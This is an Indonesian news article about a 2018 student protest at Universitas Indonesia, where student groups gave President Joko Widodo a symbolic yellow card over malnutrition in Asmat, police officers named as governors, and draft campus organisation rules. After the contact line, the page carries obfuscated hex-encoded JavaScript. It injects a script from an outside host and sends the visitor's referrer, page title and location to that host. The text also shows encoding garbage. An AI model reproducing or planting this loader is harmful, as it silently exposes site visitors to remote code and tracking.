Dies Natalies ke 68 Universitas Indonesia, Ada Aksi Kartu Kuning Untuk Jokowi

Depok ai??i?? Aliansi Gerakan Mahasiswa yang terdiri dari BEM UI, BEM FKM UI, BEM Psikologi UI, BEM FF UI, BEM FIB UI, BEM FMIPA UI, BEM FKG UI, BEM FIA UI, BEM Fasilkom UI, serta BEM Vokasi UI, menggelar aksi kreatif untuk menyambut kedatangan Presiden RI Joko Widodo, saat berkunjung ke Universitas Indonesia (UI).

Kunjungan Jokowi Ai??ke Universitas Indonesia ini, bertujuan untuk memberikan sambutan pada acara Dies Natalies ke 68 UI.

Pada kesempatan ini, aliansi juga mengambil momentum untuk mengadakan sebuah aksi kreatif, yang diadakan di Depan Stasiun UI.

Adapun aksi kreatif yang dilakukan dikemas kedalam bentuk freeze mob ini, lalu juga membawa berbagai sign dan terdapat simbolik meniup peluit, disertai juga pemberian kartu kuning.

Maksud dari gerakan freeze mob, adalah untuk memberikan pengetahuan kepada masyarakat melalui fakta-fakta yang tertulis pada sign mengenai isu gizi buruk yang menimpa Asmat, isu penghidupan kembali dwifungsi POLRI/TNI, serta penerapan peraturan baru Organisasi Mahasiswa.

Aksi simbolik membunyikan peluit dan pemberian kartu kuning, yang ditujukan kepada Presiden Joko Widodo, bermaksud untuk memberi peringatan Ai??kepada Presiden, dimana masih banyak isu yang membuat masyarakat resah atas kondisi Indonesia, saat ini.

Isu gizi buruk di Asmat berdasarkan data Kemenkes, menyebutkan, bahwa terdapat 646 anak terkena wabah campak dan 144 anak menderita gizi buruk di Asmat.

Selain itu, ditemukan pula 25 anak suspek campak, serta empat anak yang terkena campak dan gizi buruk.

Kondisi gizi buruk ini, tidak sebanding dengan dana otonomi khusus yang pemerintah alokasikan untuk Papua, dimana pada Tahun 2017 lalu, dana otsus untuk Papua mencapai sekitar Rp 11,67 triliun, yaitu Rp 8,2 triliun untuk Provinsi Papua, serta Rp 3,47 triliun untuk Provinsi Papua Barat.

Pada isu yang kedua, yaitu penunjukan Asisten Operasi Kapolri Irjen Mochamad Iriawan sebagai Plt Gubernur Jabar dan Kadiv Propam Polri Irjen Martuani Sormin, sebagai Penjabat (Pj) Gubernur Sumut, yang kembali memunculkan dwifungsi Polri/TNI.

Hal itu, dikhawatirkan dapat mencederai netralitas Polri/TNI. Lalu pada isu yang ketiga, yaitu draft peraturan baru organisasi mahasiswa (ormawa), yang dinilai dapat mengancam kebebasan berorganisasi dan gerakan kritis mahasiswa.

ai???Isu gizi buruk di Asmat, dwifungsi Polri/TNI, dan peraturan baru ormawa, merupakan isu yang mengkhawatirkan bagi masyarakat Indonesia, di penutup tahun 2017 dan awal tahun 2018 ini. Sudah seharusnya Presiden Joko Widodo diberi peringatan untuk melakukan evaluasi di tahun keempatnya,ai??? ucap Zaadit.

Aliansi Gerakan yang terdiri dari BEM UI, BEM FKM UI, BEM Psikologi UI, BEM FF UI, BEM FIB UI, BEM FMIPA UI, BEM FKG UI, BEM FIA UI, BEM Fasilkom UI, dan BEM Vokasi UI ini, berharap, melalui gerakan ini, dapat memberikan pencerdasan kepada masyarakat atas kondisi Indonesia saat ini, serta melakukan advokasi, agar permasalahan yang diangkat dapat segera diselesaikan.

Info terakhir yang didapat awak media ini, mahasiswaAi??UI, Zaadit Taqwa, menginterupsi sambil mengacungkan dokumen kuning JKW, saat Dies Natalis UI di Depok, Tanggal 2 Februari 2018.

Akibat atas aksinya itu, saat ini, dikabarkan mahasiswa bersangkutan diduga sedang diamankan Paspampres. (*/riz)

CP : Alfian Tegar Prakasa (0822 ai??i?? 6165 ai??i?? 1614) \x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *